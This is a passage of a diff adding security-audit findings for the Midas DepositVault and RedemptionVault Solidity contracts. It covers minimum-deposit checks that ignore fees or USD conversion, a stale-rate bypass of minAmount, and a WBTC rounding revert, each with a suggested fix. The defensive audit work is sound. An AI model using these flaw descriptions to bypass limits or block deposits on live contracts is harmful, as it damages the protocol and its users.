+The flaw arises because the minimum amount check does not account for the deduction of the fee. As a result, users could potentially redeem an amount of tokens that, after fee deduction, falls below the minimum required amount. For example, if the `minAmou`nt is 100 TokenB, and the function validates an `amountMTokenIn` of 1,000 mToken (assuming a 1:1 rate), but the fee amount is 950 mToken, the user ends up with only 50 mToken, which does not meet the minimum requirement.
+
+## Impact
+The flaw allows users to redeem token amounts that, after fee deductions, may fall below the required minimum threshold, potentially bypassing the minimum redeem limits.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L483
+
+```solidity
+function _calcAndValidateRedeem(
+ address user,
+ address tokenOut,
+ uint256 amountMTokenIn,
+ bool isInstant,
+ bool isFiat
+)
+ internal
+ view
+ returns (uint256 feeAmount, uint256 amountMTokenWithoutFee)
+{
+ require(amountMTokenIn > 0, "RV: invalid amount");
+
+ if (!isFreeFromMinAmount[user]) {
+ uint256 minRedeemAmount = isFiat ? minFiatRedeemAmount : minAmount;
+ require(minRedeemAmount <= amountMTokenIn, "RV: amount < min");
+ }
+
+ feeAmount = _getFeeAmount(
+ user,
+ tokenOut,
+ amountMTokenIn,
+ isInstant,
+ isFiat ? fiatAdditionalFee : 0
+ );
+
+ if (isFiat) {
+ require(
+ tokenOut == MANUAL_FULLFILMENT_TOKEN,
+ "RV: tokenOut != fiat"
+ );
+ if (!waivedFeeRestriction[user]) feeAmount += fiatFlatFee;
+ } else {
+ _requireTokenExists(tokenOut);
+ }
+
+ require(amountMTokenIn > feeAmount, "RV: amountMTokenIn < fee");
+
+ amountMTokenWithoutFee = amountMTokenIn - feeAmount;
+}
+```
+>In the above code, the logic correctly validates that `amountMTokenIn` meets the minimum required amount for redemption (`minFiatRedeemAmount`). However, it fails to consider the final amount after fee deduction (`amountMTokenWithoutFee`), which could end up being lower than intended.
+
+
+
+## Tool used
+Manual Review
+
+## Recommendation
+To rectify this issue, the function should validate the minimum amount ***AFTER*** deducting the fees. The corrected approach is as follows:
+
+>Calculate Fee Amount:
+```solidity
+feeAmount = _getFeeAmount(
+ user,
+ tokenOut,
+ amountMTokenIn,
+ isInstant,
+ isFiat ? fiatAdditionalFee : 0
+);
+```
+> Deduct Fee and Validate Minimum Amount:
+```solidity
+amountMTokenWithoutFee = amountMTokenIn - feeAmount;
+
+if (!isFreeFromMinAmount[user]) {
+ uint256 minRedeemAmount = isFiat ? minFiatRedeemAmount : minAmount;
+ require(amountMTokenWithoutFee >= minRedeemAmount, "RV: amount < min");
+}
+```
+This ensures that the remaining amount after deducting the fee meets or exceeds the minimum redeem amount.
\ No newline at end of file
diff --git a/001/061.md b/001/061.md
new file mode 100644
index 0000000..8d580ee
--- /dev/null
+++ b/001/061.md
@@ -0,0 +1,45 @@
+Mythical Grape Cow
+
+Medium
+
+# Misalignment in Minimum Deposit Validation Compromises First-Time User Onboarding
+
+## Summary
+The DepositVault contract's implementation of the minimum deposit check for first-time users deviates from the intended design, potentially leading to erroneous validations and disrupting the user onboarding process.
+## Vulnerability Detail
+The current implementation in DepositVault fails to accurately enforce the minimum deposit requirement for new users due to a discrepancy between the code and the documented specifications:
+
+1. Documentation specifies a $120,000 USD minimum for initial deposits.
+2. The `minMTokenAmountForFirstDeposit` variable is ambiguously defined thoughout contracts and its setter function, lacking clear units.
+3. The `_validateMinAmount` function directly compares mToken amounts without USD conversion.
+
+leading to:
+1. Precision Mismatch: If `minMTokenAmountForFirstDeposit` is set in USD terms (e.g. 120,000 * 10^18), but compared directly to mToken amounts, it could result in an extremely high minimum deposit requirement, effectively blocking most users from participating.
+
+2. Dynamic Threshold: The mToken price relative to USD may fluctuate, causing the effective minimum deposit to change frequently. This could lead to a situation where deposits are accepted during low-price periods and rejected during high-price periods, creating an unpredictable and potentially unfair entry barrier.
+
+3. Regulatory Compliance Risk: If the minimum deposit is intended to meet certain regulatory requirements (e.g. accredited investor thresholds), the current implementation could inadvertently allow users to participate with less than the required USD value, potentially exposing the protocol to compliance issues.
+
+## Impact
+1. Precision Mismatch: If `minMTokenAmountForFirstDeposit` is set in USD terms (e.g. 120,000 * 10^18), but compared directly to mToken amounts, it could result in an extremely high minimum deposit requirement, effectively blocking most users from participating.
+
+2. Dynamic Threshold: The mToken price relative to USD may fluctuate, causing the effective minimum deposit to change frequently. This could lead to a situation where deposits are accepted during low-price periods and rejected during high-price periods, creating an unpredictable and potentially unfair entry barrier.
+
+3. Regulatory Compliance Risk: If the minimum deposit is intended to meet certain regulatory requirements (e.g. accredited investor thresholds), the current implementation could inadvertently allow users to participate with less than the required USD value, potentially exposing the protocol to compliance issues.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L260-L267
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/interfaces/IDepositVault.sol#L159-L163
+## Tool used
+
+Manual Review
+
+## Recommendation
+```diff
+function _validateMinAmount(uint256 mintAmount) internal view {
+- require(amountMTokenWithoutFee >= minMTokenAmountForFirstDeposit,
+- "DV: mint amount < min");
++ uint256 usdValue = convertToUSD(mintAmount);
++ if (usdValue < minMTokenAmountForFirstDeposit) {
+ revert MinAmountNotReached();
+ }
+```
\ No newline at end of file
diff --git a/001/065.md b/001/065.md
new file mode 100644
index 0000000..e908110
--- /dev/null
+++ b/001/065.md
@@ -0,0 +1,38 @@
+Colossal Maroon Nuthatch
+
+Medium
+
+# Wrong implementation of `minMTokenAmountForFirstDeposit`
+
+## Summary
+First unser MinDeposit should be denominated in usd as mentioned in Docs and logic flow svg, but the current implementation is wrong and will cause min deposit to be much higher for users breaking the core functionality
+## Vulnerability Detail
+In `DepositVault` we check for users that first time deposit into the protocol if they are depositing the minAmount or not
+- seeing from [docs](https://docs.midas.app/token-mechanics/access-midas-tokens/eligibility#minimum-amounts:~:text=minimum%20value%20of-,%24120%2C000,-for%20their%20first) it says that minAmount is 120K USD
+- looking at midas-contracts\public\midas_flows.svg it shows that we convert deposited Amount to usd from the DataFeed before we compare it with USD amounts
+
+`minMTokenAmountForFirstDeposit` code comments at this variable shows that this is min usd deposit.
+
+Now in `_calcAndValidateDeposit` we pass `mintAmount`(which is MToken Amount) to `_validateMinAmount`
+
+And in `_validateMinAmount` we compare `MToken` amount with `minMTokenAmountForFirstDeposit` with out converting the `mintAmount` to usd before comparing contradicting the comment of `_validateMinAmount` function
+
+Now there are two implementation scenarios that will cause that bug:
+1. `minMTokenAmountForFirstDeposit` is in `mToken` and this is intended and we would compare mToken to mTokenMin in `_validateMinAmount`
+ - The problem here will be that mToken price changes over time and the 120K USD minimum won't be achieved and will cause reverts for users
+2. `minMTokenAmountForFirstDeposit` is in USD or EUR as some comments says:
+ - This will make users deposit 120K mToken amount to pass the check in that function comparing it to the 120K USD
+## Impact
+according to the two scenarios mentioned above impact would as one of the following
+1. volatile min USD min Deposit due to price changes of mToken causing min to decrease or increase according to the price of `mToken`
+2. wrong implementation of `minMTokenAmountForFirstDeposit` causing breakage of core functionality and reverts for users when they actually deposit the min,
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L24-L26
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L390-L395
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L277-L294
+## Tool used
+
+Manual Review
+
+## Recommendation
+convert `mintAmount` to usd before comparing it to `minMTokenAmountForFirstDeposit` in `_validateMinAmount`
\ No newline at end of file
diff --git a/001/066.md b/001/066.md
new file mode 100644
index 0000000..a65a8d7
--- /dev/null
+++ b/001/066.md
@@ -0,0 +1,172 @@
+Brilliant Pickle Frog
+
+High
+
+# Wrong assumption by the developer leads to miscalculation
+
+## Summary
+
+wrong calculation of minimum value leading to
+- user don't have the minimum value and still able to deposit
+**In other times**
+- user have the minimum value but cat deposit
+
+## Vulnerability Detail
+
+Whenever a user want to deposit he calls `depositInstant` or `depositRequest`
+function.
+The function then call `_calcAndValidateDeposit` to validate the deposit.
+[depositInstant _calcAndValidateDeposit](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L104)
+```solidity
+File: DepositVault.sol
+79: function depositInstant(
+//////////
+096: (
+097: uint256 tokenAmountInUsd,
+098: uint256 feeTokenAmount,
+099: uint256 amountTokenWithoutFee,
+100: uint256 mintAmount,
+101: ,
+102: ,
+103: uint256 tokenDecimals
+104:>>> ) = _calcAndValidateDeposit(user, tokenInCopy, amountTokenCopy, true);
+105:
+
+```
+[depositRequest _calcAndValidateDeposit](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L178)
+```solidity
+148: function depositRequest(
+/////////
+170: (
+171: uint256 tokenAmountInUsd,
+172: uint256 feeAmount,
+173: uint256 amountTokenWithoutFee,
+174: ,
+175: uint256 tokenInRate,
+176: uint256 tokenOutRate,
+177: uint256 tokenDecimals
+178:>>> ) = _calcAndValidateDeposit(user, tokenInCopy, amountTokenCopy, false);
+179:
+
+```
+
+Going to `_calcAndValidateDeposit` function
+- We call `_validateMinAmount` and taking
+ - address of the user
+ - mintAmount (the mTokenAmount)
+[DepositVault.sol#L386-L394](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L386-L394)
+```solidity
+386:>>> (uint256 mTokenAmount, uint256 mTokenRate) = _convertUsdToMToken(
+387: tokenAmountInUsd - feeInUsd
+388: );
+389: mintAmount = mTokenAmount;
+390: tokenOutRate = mTokenRate;
+391:
+392:>>> if (!isFreeFromMinAmount[userCopy]) {
+393:>>> _validateMinAmount(userCopy, mintAmount);
+394: }
+
+```
+
+Going to `_validateMinAmount`
+###### In this function we should be comparing USD values to know the minimum amount
+- But i compare `mTokenAmount` value with USD value.
+- This leads to wrong calculation of the minimum value.
+[DepositVault.sol#L275-L294](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L275-L294)
+```solidity
+274:
+275: /**
+276:>>> * @dev validates that inputted USD amount >= minAmountToDepositInUsd()
+277: * and amount >= minAmount()
+278: * @param user user address
+279: * @param amountMTokenWithoutFee amount of mToken without fee (decimals 18)
+280: */
+281: function _validateMinAmount(
+282: address user,
+283: uint256 amountMTokenWithoutFee
+284: ) internal view {
+285: require(amountMTokenWithoutFee >= minAmount, "DV: mToken amount < min");
+286:
+287: if (totalMinted[user] != 0) return;
+288:
+289: require(
+290:>>> amountMTokenWithoutFee >= minMTokenAmountForFirstDeposit,
+291: "DV: mint amount < min"
+292: );
+293: }
+294:
+```
+- The value which is compared to this amount is in USD.
+[DepositVault.sol#L23-L26](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L23-L26)
+```solidity
+File: DepositVault.sol
+23: /**
+24:>>> * @notice minimal USD amount for first user`s deposit
+25: */
+26: uint256 public minMTokenAmountForFirstDeposit;
+```
+- Another problem appears when trying to set a new minimum value by calling `setMinMTokenAmountForFirstDeposit` to give `minMTokenAmountForFirstDeposit` state variable a new value
+- Looking at the function documentation
+ - The new value is EUR
+ - Later treated as USD
+[IDepositVault.sol#L159-L165](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/interfaces/IDepositVault.sol#L159-L165)
+```solidity
+File: IDepositVault.sol
+159: /**
+160:>>> * @notice sets new minimal amount to deposit in EUR.
+161: * can be called only from vault`s admin
+162: * @param newValue new min. deposit value
+163: */
+164: function setMinMTokenAmountForFirstDeposit(uint256 newValue) external;
+```
+
+Going to `midas_flaws.svg` we see the right flow of deposit.
+must always compare these values in
+- **USD**
+- Not **EUR**
+- Not **mTokenAmount**
+[midas_flows.svg](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/public/midas_flows.svg)
+![Pasted image 20240825213447](https://github.com/user-attachments/assets/7d11684f-1a1c-4a0a-84c5-d78d50f43cd6)
+
+Here is the minimum amounts in the docs [minimum-amounts](https://docs.midas.app/token-mechanics/access-midas-tokens/eligibility#minimum-amounts)
+
+ > Investors using midas.app must invest a minimum value of $120,000 for their first transaction. There are no minimums for subsequent transactions and redemptions.
+
+
+#### scenario1
+##### the price of mToken is larger than USD:
+- Assume price of mToken is $2.
+- The minimum value is $100,000.
+- When user try to deposit the $100,000 deposit fail.
+- mTokenamount Min-Amount-For-First-Deposit
+- 50,000 >= 100,000
+#### scenario2
+##### the price of mToken is less than USD:
+- Assume price of mToken is $0.5.
+- Minimum value is $100,000.
+- When user try to deposit 50,000 which is bellow the minimum
+- The deposit succeed due to
+- mTokenAmount Min-Amount-For-First-Deposit
+- 100,000 >= 100,000
+
+
+
+## Impact
+
+ - Preventing user with the right minimum amount to deposit.
+ - Allowing user that don't have the minimum value to deposit.
+
+## Code Snippet
+
+ [DepositVault.sol#L276-L294](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L276-L294)
+
+## Tool used
+
+
+Manual Review
+
+
+## Recommendation
+
+Price Comparisons must always be in USD.
+In the `_validateMinAmount` function first change the value of mToken to USD value then compare it with minimum value.
\ No newline at end of file
diff --git a/001/072.md b/001/072.md
new file mode 100644
index 0000000..304fe01
--- /dev/null
+++ b/001/072.md
@@ -0,0 +1,46 @@
+Helpful Wooden Porpoise
+
+Medium
+
+# The minimum investment check incorrectly uses the amount of `mToken` instead of its value in USD
+
+## Summary
+The minimum investment check incorrectly uses the amount of `mToken` instead of its value in USD
+## Vulnerability Detail
+Midas doc stated that [a minimum investment is required for first purchasing mToken](https://docs.midas.app/token-mechanics/mtbill/how-mtbill-works/issuance-and-redemption):
+>When you purchase mBASIS from Midas for the first time, a minimum investment of 120,000 USDC is required. There are no minimums for the following transactions.
+
+`minMTokenAmountForFirstDeposit` in `DepositVault` is used to store the minimum investment in USD value, which is used for the minimum check:
+```solidity
+ /**
+ * @dev validates that inputted USD amount >= minAmountToDepositInUsd()
+ * and amount >= minAmount()
+ * @param user user address
+ * @param amountMTokenWithoutFee amount of mToken without fee (decimals 18)
+ */
+ function _validateMinAmount(address user, uint256 amountMTokenWithoutFee)
+ internal
+ view
+ {
+ require(amountMTokenWithoutFee >= minAmount, "DV: mToken amount < min");
+
+ if (totalMinted[user] != 0) return;
+
+ require(
+ amountMTokenWithoutFee >= minMTokenAmountForFirstDeposit,
+ "DV: mint amount < min"
+ );
+ }
+```
+`amountMTokenWithoutFee` is the amount of mToken instead of its value in USD. As we can see, the above check incorrectly compare the amount of `mToken` to a preset value of `mToken` in USD.
+## Impact
+- The required amount of assets in USD for the first minting could be far different since `mToken` is not `1:1` pegged to USD
+- The required amount of assets in USD for the first minting could increase over time as the mToken price grows
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L290-L293
+## Tool used
+
+Manual Review
+
+## Recommendation
+Covert `amountMTokenWithoutFee` to the value in USD before performing check.
\ No newline at end of file
diff --git a/001/073.md b/001/073.md
new file mode 100644
index 0000000..23b23d5
--- /dev/null
+++ b/001/073.md
@@ -0,0 +1,95 @@
+Helpful Wooden Porpoise
+
+Medium
+
+# Fees were not accounted when performing the minimum investment check
+
+## Summary
+Fees were not accounted when performing the minimum investment check
+## Vulnerability Detail
+According Midas doc, it should be true that a eligible user must deposit at least 120,000 USD equivalent assets for their first depositing:
+>When you purchase mBASIS from Midas for the first time, a minimum investment of 120,000 USDC is required. There are no minimums for the following transactions.
+
+When either `DepositVault#depositInstant()` or `DepositVault#depositRequest()` is called, the contract checks if the minimum investment requirement is met if it is the first deposit:
+```solidity
+ function _validateMinAmount(address user, uint256 amountMTokenWithoutFee)
+ internal
+ view
+ {
+ require(amountMTokenWithoutFee >= minAmount, "DV: mToken amount < min");
+
+ if (totalMinted[user] != 0) return;
+
+@> require(
+@> amountMTokenWithoutFee >= minMTokenAmountForFirstDeposit,
+@> "DV: mint amount < min"
+@> );
+ }
+```
+`amountMTokenWithoutFee` is calculated in `_calcAndValidateDeposit()`:
+```solidity
+ function _calcAndValidateDeposit(
+ address user,
+ address tokenIn,
+ uint256 amountToken,
+ bool isInstant
+ )
+ internal
+ returns (
+ uint256 tokenAmountInUsd,
+ uint256 feeTokenAmount,
+ uint256 amountTokenWithoutFee,
+ uint256 mintAmount,
+ uint256 tokenInRate,
+ uint256 tokenOutRate,
+ uint256 tokenDecimals
+ )
+ {
+ require(amountToken > 0, "DV: invalid amount");
+
+ tokenDecimals = _tokenDecimals(tokenIn);
+
+ _requireTokenExists(tokenIn);
+
+ (uint256 amountInUsd, uint256 tokenInUSDRate) = _convertTokenToUsd(
+ tokenIn,
+ amountToken
+ );
+ tokenAmountInUsd = amountInUsd;
+ tokenInRate = tokenInUSDRate;
+ address userCopy = user;
+
+ _requireAndUpdateAllowance(tokenIn, amountToken);
+
+ feeTokenAmount = _truncate(
+ _getFeeAmount(userCopy, tokenIn, amountToken, isInstant, 0),
+ tokenDecimals
+ );
+ amountTokenWithoutFee = amountToken - feeTokenAmount;
+
+ uint256 feeInUsd = (feeTokenAmount * tokenInRate) / 10**18;
+
+@> (uint256 mTokenAmount, uint256 mTokenRate) = _convertUsdToMToken(
+ tokenAmountInUsd - feeInUsd
+ );
+@> mintAmount = mTokenAmount;
+ tokenOutRate = mTokenRate;
+
+ if (!isFreeFromMinAmount[userCopy]) {
+ _validateMinAmount(userCopy, mintAmount);
+ }
+ require(mintAmount > 0, "DV: invalid mint amount");
+ }
+```
+As we can see, `amountMTokenWithoutFee` does not account for fees. No one can successfully call either `DepositVault#depositInstant()` or `DepositVault#depositRequest()` by depositing only $120,000 USD equivalent assets for their first deposit, as long as the fee is not `0`.
+
+## Impact
+The minimum investment requirement does not work as described in the Midas specification. Users have to pay more than the minimum investment to finish their first depositing.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L387-L389
+## Tool used
+Manual Review
+
+## Recommendation
+Fees must be accounted when performing the minimum investment check
\ No newline at end of file
diff --git a/001/097.md b/001/097.md
new file mode 100644
index 0000000..21bb060
--- /dev/null
+++ b/001/097.md
@@ -0,0 +1,94 @@
+Brave Smoke Mustang
+
+Medium
+
+# Usage of stale data in `DepositVault.sol#depositRequest()` function
+
+### Summary
+
+When validating the USD amount entered in the `DepositVault.sol#depositRequest()` function, the MToken amount calculated based on the current MToken mint rate is used instead of the [`newOutRate`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L303) entered in the `approveRequest()` function, so validation can be bypassed when executing the `approveRequest()` function and minting the MToken.
+
+Therefore, an amount smaller than `minAmount` may be minted, which may cause negative mintes when redeeming.
+
+### Root Cause
+
+In the `DepositVault.sol#_validateMinAmount()` function, it validates that inputted USD amount using `amountMTokenWithoutFee`, which is calculated based on the current mint rate.
+
+
+### Internal pre-conditions
+
+- `newOutRate` must be greater than `request.tokenOutRate` in the `_approveRequest()` function.
+
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. When the user calls the [`DepositVault.sol#depositRequest()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L170-L178) function, the `_calcAndValidateDeposit()` function uses the `_convertUsdToMToken()` function to compute the `mTokenAmount` and `mTokenRate` based on the USD amount in [#L387~#L391](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L387-L391).
+2. The [`_convertUsdToMToken()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L429-L440) function calculates the `mTokenAmount` based on the current MToken mint rate.
+3. And then, Validate the entered USD amount based on the [`mTokenAmount`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L393-L395) in the [`_validateMinAmount()`](_validateMinAmount) function.
+4. After that, the administrator processes the request using [`approveRequest()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L231).
+5. In the `_approveRequest()` function, the amount of MToken is recalculated based on `newOutRate` in [#L319~#L322](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L319-L322) and minted to the user.
+
+ As you can see, since validation is not performed on the amount of MTokens minted to actual users, MTokens that do not satisfy the core constraints of the protocol may be minted to users.
+6. When a user tries to redeem an minted MToken, the transaction may be reverted and the redemption may become impossible because it may be smaller than `minAmount` in [`RedemptionVault.sol#L496~L499`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L496-L499).
+
+
+### Impact
+
+The minAmount restriction is bypassed, resulting in a smaller amount being minted, which may lead to negative mintes when redeeming.
+
+
+### PoC
+
+- Let's assume that the current mTokenRate = 1 MToken/USD, minAmount = 100e18.
+- When Alice calls `depositRequest` with 100USDC, `mTokenAmount` = (amountUsd * (10**18)) / mTokenRate = 100e18, so it passes the `_validateMinAmount()` function.
+- And `request.usdAmountWithoutFees` = 100e18.
+- When the administrator calls the `approveRequest()` function with `newOutRate` = 1.2 MToken/USD, `amountMToken` is calculated as follows:
+
+ amountMToken = (request.usdAmountWithoutFees * (10**18)) / newOutRate =
+
+ = 100e18 * 10**18 / 1.2e18 = 83.3e18
+
+ This means that 83.3 MTokens will be minted to users.
+- After that, When Alice calls `redeemInstant/redeemRequest` to redeem the full amount of MToken, the transaction fails because `minRedeemAmount > amountMTokenIn` in the `_calcAndValidateRedeem` function.
+
+
+### Mitigation
+
+- It is recommended to perform validation on `minAmount` in the `DepositVault.sol#_approveRequest()` function.
+ ```solidity
+ function _approveRequest(
+ uint256 requestId,
+ uint256 newOutRate,
+ bool isSafe
+ ) private {
+ Request memory request = mintRequests[requestId];
+
+ require(request.sender != address(0), "DV: request not exist");
+ require(
+ request.status == RequestStatus.Pending,
+ "DV: request not pending"
+ );
+
+ if (isSafe)
+ _requireVariationTolerance(request.tokenOutRate, newOutRate);
+
+ uint256 amountMToken = (request.usdAmountWithoutFees * (10**18)) /
+ newOutRate;
+
+ +++ require(amountMToken >= minAmount, "DV: mToken amount < min");
+
+ mToken.mint(request.sender, amountMToken);
+
+ totalMinted[request.sender] += amountMToken;
+
+ request.status = RequestStatus.Processed;
+ request.tokenOutRate = newOutRate;
+ mintRequests[requestId] = request;
+ }
+ ```
+
+- Also, I think this problem can be alleviated by performing validation based on the amount calculated in USD rather than the amount of MToken as described in the comment in the `_validateMinAmount()` function.
\ No newline at end of file
diff --git a/001/113.md b/001/113.md
new file mode 100644
index 0000000..3431d76
--- /dev/null
+++ b/001/113.md
@@ -0,0 +1,118 @@
+Funny Vanilla Lark
+
+Medium
+
+# DOS to `DepositVault.depositInstant` and `DepositVault.depositRequest`
+
+## Summary
+
+The issue occurs with wBTC as token In during instant deposit or deposit request. Even though it will happen on tokens < 18 decimals, the USDC with 6 decimals doesn't have a big issue due to the stable token price, but with BTC's volatile price, it is an issue. Just add truncation to `amount without fee` calculation on deposit functions (`_tokenTransferFromUser`, `_tokenTransferFromTo`, `_tokenTransferToUser`) from [ManageableVault](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/abstract/ManageableVault.sol#L393-L460) . Look at recommendation for easier understanding.
+
+They move tokens between the user and token receivers or vaults. And it implements a strict rounding between token decimals and base 18 decimals during converting. It is done to combat minting token for free using rounding down issue. It was in past [contest](https://github.com/sherlock-audit/2024-05-midas-judging/issues/108).
+
+But this strict rounding demands the token amounts with 6 or 8 decimals to be in whole amounts. (example : 100.5566778899 amount in USDC will be 100556677, but in base 18 the amount will be 100556677889900000000 ). You will get full precision, so if the input amount is 100556677889900000000 on Line 395 below, then line 402 will revert due to this wrong rounding because the rounding will turn `100556677889900000000` into `100556677000000000000` because `100556677889900000000` becomes 100556677, then it is converted back to 18 decimals becoming `100556677000000000000`, hence on line 402 comparing `100556677889900000000` == `100556677000000000000` will revert.
+
+## Vulnerability Detail
+
+This is intended and accordingly, wherever these token transfer functions are used, the amounts are truncated on L581 before calling Line 394, meaning whatever the dust like `100556677889900000000` will become `100556677000000000000` and no revert will be triggered. They are done on [MBasisRedemptionVaultWithSwapper.redeemInstant](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L121-L132) & [RedemptionVault.redeemInstant](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVault.sol#L159-L173) & [RedemptionVault.approveRequest](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVault.sol#L331-L336) & [RedemptionVaultWithBUIDL.redeemInstant](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L137-L142) and other redemption transfer that transfer mTokens doesn't need truncation becasue mtokens are 18 decimals and no rounding happens.
+
+
+In the above example, the USDC example is not an issue at all, the frontend can handle to only allow tokens in whole decimals like 10 20 22 25 and not in 22.25845 USDC, and the price of stable coins is always 1e18, so no issue. But when it comes to WBTC with 8 decimals, the value of 10_000 units is $6.5 at 65000 per btc and the price is volatile every minute. There are places where token transfers are done without truncation, example at [DepositVault.depositInstant](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L115-L128) and [DepositVault.depositRequest](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L180-L193). Both these functions pull tokens twice, one is truncated fee amount and transfer is done without revert and other transfer is `amountWithoutFee` which is not at all truncated and it is where revert happens.
+
+It's a DOS to users because they have to input amounts exactly that don't get reverted due to rounding, and if fee is on for WBTC, then it will be more difficult to input the amounts after truncated fee subtraction, the amount without fee has to in a way that doesn't revert on line 402 below. Example : at exactly 65000$ per btc, if user wants to mint 1000 USD worth mToken, then the input amount will be 15384615380000000, but in actual btc amount it will be only `1538461` or 0.01538461538 wBTC. And 0.01% of btc fee amount subtraction along with volatile price change, the computation of exact amount without reverting is not possible. The solution is to be okay with truncating `amount without fee` and minting the mToken.
+
+
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/abstract/ManageableVault.sol#L393-L460
+
+```solidity
+ManageableVault.sol
+
+394: function _tokenTransferFromUser(
+395: address token, address to, uint256 amount, uint256 tokenDecimals
+399: ) internal {
+400: uint256 transferAmount = amount.convertFromBase18(tokenDecimals);
+401:
+402: >>> require(amount == transferAmount.convertToBase18(tokenDecimals), "MV: invalid rounding");
+406:
+407: IERC20(token).safeTransferFrom(msg.sender, to, transferAmount);
+408: }
+
+576: function _truncate(uint256 value, uint256 decimals)
+577: internal
+578: pure
+579: returns (uint256)
+580: {
+581: return value.convertFromBase18(decimals).convertToBase18(decimals);
+582: }
+
+```
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L383
+
+```solidity
+DepositVault.sol
+
+355: function _calcAndValidateDeposit(
+356: address user,
+357: address tokenIn,
+358: uint256 amountToken,
+359: bool isInstant
+360: )
+361: internal
+---- SNIP ----
+371: {
+372: require(amountToken > 0, "DV: invalid amount");
+374: tokenDecimals = _tokenDecimals(tokenIn);
+375:
+---- SNIP ----
+387:
+388: feeTokenAmount = _truncate(
+389: _getFeeAmount(userCopy, tokenIn, amountToken, isInstant, 0),
+390: tokenDecimals
+391: );
+392: >>> amountTokenWithoutFee = amountToken - feeTokenAmount;
+393:
+---- SNIP ----
+406: }
+
+```
+
+
+## Impact
+Deposit insatnt and deposit request are important functions of protcol and half eh functions facing user is depositing the tokens, so reverts in there is a DOS to core functionality. But occurs only in volatile tokens with <18 decimals, so giving it a medium.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/abstract/ManageableVault.sol#L393-L460
+
